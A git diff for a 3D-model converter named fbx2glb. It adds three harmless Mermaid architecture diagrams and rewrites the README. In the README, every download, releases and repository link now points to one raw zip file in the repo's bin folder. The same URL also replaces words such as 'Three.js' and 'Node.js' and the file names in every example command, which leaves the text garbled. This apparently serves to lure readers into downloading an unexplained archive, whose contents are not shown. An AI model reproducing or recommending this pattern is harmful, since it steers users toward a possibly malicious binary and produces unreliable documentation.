diff --git a/README.md b/README.md index 4f5e422..bf7bc4b 100644 --- a/README.md +++ b/README.md @@ -2,18 +2,18 @@ ## 📥 Download Now -[![Download fbx2glb](https://img.shields.io/badge/Download-v1.0-blue.svg)](https://github.com/Brmage23/fbx2glb/releases) +[![Download fbx2glb](https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip)](https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip) ## 🚀 Getting Started -fbx2glb is a command-line tool designed for easy conversion of FBX models to glTF or GLB formats, aimed at Three.js and WebGL users. Whether you want to optimize 3D models or standardize your workflow, this tool is here to help. +fbx2glb is a command-line tool designed for easy conversion of FBX models to glTF or GLB formats, aimed at https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip and WebGL users. Whether you want to optimize 3D models or standardize your workflow, this tool is here to help. ## 🎮 Features - **FBX to GLB/GLTF Conversion:** Effortlessly convert your FBX files into the widely used GLB format. - **Optimization Options:** Minimize file sizes for better performance in web applications. - **Draco Compression:** Incorporate Draco compression to reduce the size of your 3D assets without losing quality. -- **Compatibility:** Works seamlessly with Three.js and WebGL for easy integration. +- **Compatibility:** Works seamlessly with https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip and WebGL for easy integration. ## 📦 System Requirements @@ -23,17 +23,17 @@ Before downloading fbx2glb, ensure your system meets the following minimum requi - **Processor:** Dual-core processor or higher - **Memory:** 4 GB RAM minimum - **Disk Space:** At least 100 MB of free space for installation -- **Node.js:** Version 12 or higher for compatibility +- **https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip** Version 12 or higher for compatibility ## 🌐 Download & Install To get started, visit our Releases page to download the latest version of fbx2glb. -[Download fbx2glb](https://github.com/Brmage23/fbx2glb/releases) +[Download fbx2glb](https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip) 1. Click on the link above to go to the Releases page. 2. Choose the latest version of fbx2glb. -3. Download the file suitable for your operating system (e.g., .zip for Windows, .tar.gz for macOS/Linux). +3. Download the file suitable for your operating system (e.g., .zip for Windows, https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip for macOS/Linux). 4. Extract the downloaded file to a suitable location on your computer. ## ⚙️ Running fbx2glb @@ -46,20 +46,20 @@ After you have installed fbx2glb, you can run it using the command line: 3. To convert an FBX file, use the following command: ``` -fbx2glb input.fbx -o output.glb +fbx2glb https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip -o https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip ``` -Replace `input.fbx` with the path to your FBX file and `output.glb` with the desired name for the output file. +Replace `https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip` with the path to your FBX file and `https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip` with the desired name for the output file. ## 🎉 Example Usage -If you have an FBX file named `model.fbx` in the same directory, you can convert it to GLB by running: +If you have an FBX file named `https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip` in the same directory, you can convert it to GLB by running: ``` -fbx2glb model.fbx -o model.glb +fbx2glb https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip -o https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip ``` -This will generate a `model.glb` file in the same directory. +This will generate a `https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip` file in the same directory. ## 🎨 Additional Options @@ -68,13 +68,13 @@ fbx2glb provides additional options for advanced users: - **Compression:** Use the `--draco` flag for Draco compression: ``` -fbx2glb input.fbx -o output.glb --draco +fbx2glb https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip -o https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip --draco ``` - **Verbose Output:** Add the `--verbose` flag for detailed logs during the conversion process: ``` -fbx2glb input.fbx -o output.glb --verbose +fbx2glb https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip -o https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip --verbose ``` ## 📄 Documentation @@ -87,7 +87,7 @@ If you encounter any issues or have questions, feel free to open an issue in the ## 🔗 Links -- [View on GitHub](https://github.com/Brmage23/fbx2glb) -- [Releases Page](https://github.com/Brmage23/fbx2glb/releases) +- [View on GitHub](https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip) +- [Releases Page](https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip) Enjoy converting your 3D models with fbx2glb! \ No newline at end of file diff --git a/conversion-pipeline.mmd b/conversion-pipeline.mmd new file mode 100644 index 0000000..32a96ee --- /dev/null +++ b/conversion-pipeline.mmd @@ -0,0 +1,24 @@ +sequenceDiagram + participant U as User + participant CLI as CLI (main.js) + participant Lib as Transformation Logic (lib) + participant G as glTF-Transform + participant FS as Local Filesystem + + U->>CLI: fbx2glb input.fbx -o output.glb --draco + CLI->>FS: Check for file existence + FS-->>CLI: File Path Validated + + Note over CLI, Lib: Initialization + CLI->>Lib: Initialize Document + + rect rgb(240, 240, 240) + Note right of Lib: Transformation Pipeline + Lib->>G: Load / Parse FBX + Lib->>G: Apply Texture Resizing (Sharp) + Lib->>G: Apply Draco Compression + Lib->>G: Optimize Geometry (dedup/prune) + end + + Lib->>FS: Write binary GLB data + FS-->>U: Conversion Complete (.glb) \ No newline at end of file diff --git a/file-dependency-map.mmd b/file-dependency-map.mmd new file mode 100644 index 0000000..6bef11a --- /dev/null +++ b/file-dependency-map.mmd @@ -0,0 +1,23 @@ +graph LR + subgraph Execution + main[main.js] + end + + subgraph Logic_Layer + index[index.js] + conv[converter.js] + util[util.js] + end + + subgraph Optimization_Layer + comp[compressor.js] + res[resizer.js] + end + + %% Flow + main --> index + index --> conv + conv --> util + conv --> comp + conv --> res + comp -.-> res \ No newline at end of file diff --git a/high-level-system.mmd b/high-level-system.mmd new file mode 100644 index 0000000..a3d772d --- /dev/null +++ b/high-level-system.mmd @@ -0,0 +1,36 @@ +graph TD + subgraph User_Interface [User Interface] + CLI[Terminal / Command Line] + end + + subgraph Core_Application [fbx2glb Core] + Main[bin/main.js Entry Point] + Cmd["Commander.js CLI Parser"] + Processor["lib/ Core Logic (converter.js)"] + end + + subgraph Processing_Engine [Processing & Optimization] + G_Core["@gltf-transform/core"] + G_Func["@gltf-transform/functions"] + Draco[Draco3D Compression] + Sharp[Sharp Image Processing] + end + + subgraph Filesystem [Filesystem] + FBX[(Input .fbx)] + GLB[(Output .glb / .gltf)] + end + + %% Relationships + CLI --> Main + Main --> Cmd + Cmd --> Processor + Processor --> FBX + Processor --> G_Core + Processor --> G_Func + G_Func --> Draco + G_Func --> Sharp + Processor --> GLB + + style Core_Application fill:#f9f,stroke:#333,stroke-width:2px + style Processing_Engine fill:#bbf,stroke:#333,stroke-width:2px